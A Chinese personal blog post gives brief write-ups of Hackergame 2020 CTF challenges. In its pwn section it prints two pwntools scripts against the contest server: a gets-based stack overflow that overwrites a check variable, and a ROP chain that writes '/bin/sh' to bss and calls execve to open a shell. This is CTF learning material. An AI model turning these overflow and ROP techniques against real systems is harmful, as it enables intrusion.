rrroyal’s blog

要做最优秀的,冲冲冲~~

0%

hackergame2020

Hackergame 2020

0x01 签到

这一题很容易发现要提取整数个flag他才会给你flag,但是题目中是调不到整数个的,但是我们观察url就可以发现解题方法。

image-20201107090523191

直接把number=1,2,3等整数就行。超过一万就给不起了

0x02 猫咪问答

第一个问题,,百度百度 必应必应 谷歌谷歌。

第二个问,,也是百度百度。

第三个问,去科大官网看看以前发的推送就能看到了。

第四问,百度地图实景查看,,(或者找科大的同学呀)

第五问,同第三问。

0x03 2048

这题直接看源代码。

继续往下看。

如果赢了,就把url加上getflxg那一串,后面=‘b’+’a’+ +’a’+’a’很容易猜到就是banana啊。

所以直接拿到flag。

0x04 一闪而过的flag

这个嘛,就直接把文件下载下来,放到cmd里面运行就行了。(不会真的有人截图的把)

0x05 从零开始的记账工具人

暴力破解,别问花了多久,问就是5个小时。

0x06 超简单的世界模拟器

百度一下生命游戏先。看到一个图案叫轻量级飞船,没2个回合向右边走一个周期,所以直接把飞船用在题目里就拿到第一个flag了,,第二个没写出来。

0x07 生活在博弈树上

始终热爱大地!!!

首先嘛,先checksec一下看看。

显示有canary,还开了nx。一开始我就不知道有canary怎么做,后来知道canary是假的,调试一下就发现了 。随后再把丢到ida里面看看。反编译看看main函数的伪代码,发现关键点。然后有一个gets危险函数把字符写到v12哪里,然后看ida算出偏移量为0x89。

只要把v15覆盖为1就能得到flag。。不过再覆盖的时候一定注意先跑完前面的if的条件不然程序出不来。。。

所以脚本就是:

1
2
3
4
5
6
7
8
9
form pwn import*
token = .....
p = remote('202.38.93.111',10141)
p.recvuntil("Please input your token: ")
p.sendline(token)
payload = ’(1,2)' + 'a'*0x84 + p64(0x1)
p.recvuntil("Your turn. Input like (x,y), such as (0,1): ")
p.sendline(payload)
p.interactive()

升上天空!!

第二题的话肯定就是要获得shell了。我当时第一思路就是系统调用,exevce(‘/bin/sh’,NULL,NULL)就能拿到shell。用ROPgadget找一找gadget。

没有/bin/sh而且亲测/sh也都用不了。。所以我们要自己把/bin/sh写入bss段上去,调用gets函数。

在ida中找到gets函数的地址,然后继续寻找需要的gadget。

在找一段bss上的地址就行了。在ida上随便找一下,bss_addr=0x00000000004A9A01。

之后就能构造payload了。这里要把程序跑通的话还需要把棋下输或者像第一题一样覆盖掉,我这里用1全部填充接直接过了检测了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import*
token = .....
p = remote('202.38.93.111',10141)
p.recvuntil("Please input your token: ")
p.sendline(token)
pop_rax = 0x000000000043e52c
pop_rdi = 0x00000000004017b6
pop_rsi = 0x0000000000407228
pop_rdx = 0x000000000043dbb5
pop_rbx = 0x000000000046cb55
bss_addr = 0x00000000004A9A01
gets_addr = 0x409E00
syscall_addr = 0x0000000000402bf4
payload=flat(['\x01'*0x98 , pop_rdi , bss_addr , gets_addr , pop_rdi , bss_addr , pop_rsi , 0 , pop_rdx , 0 , pop_rax , 0x3b , syscall_addr])
p.recvuntil("Your turn. Input like (x,y), such as (0,1): ")
p.sendline(payload)
p.sendline('/bin/sh\x00')
p.interactive()

所以脚本就是这样的了,就能得到shell,拿到flag。

-------------本文结束感谢您的阅读-------------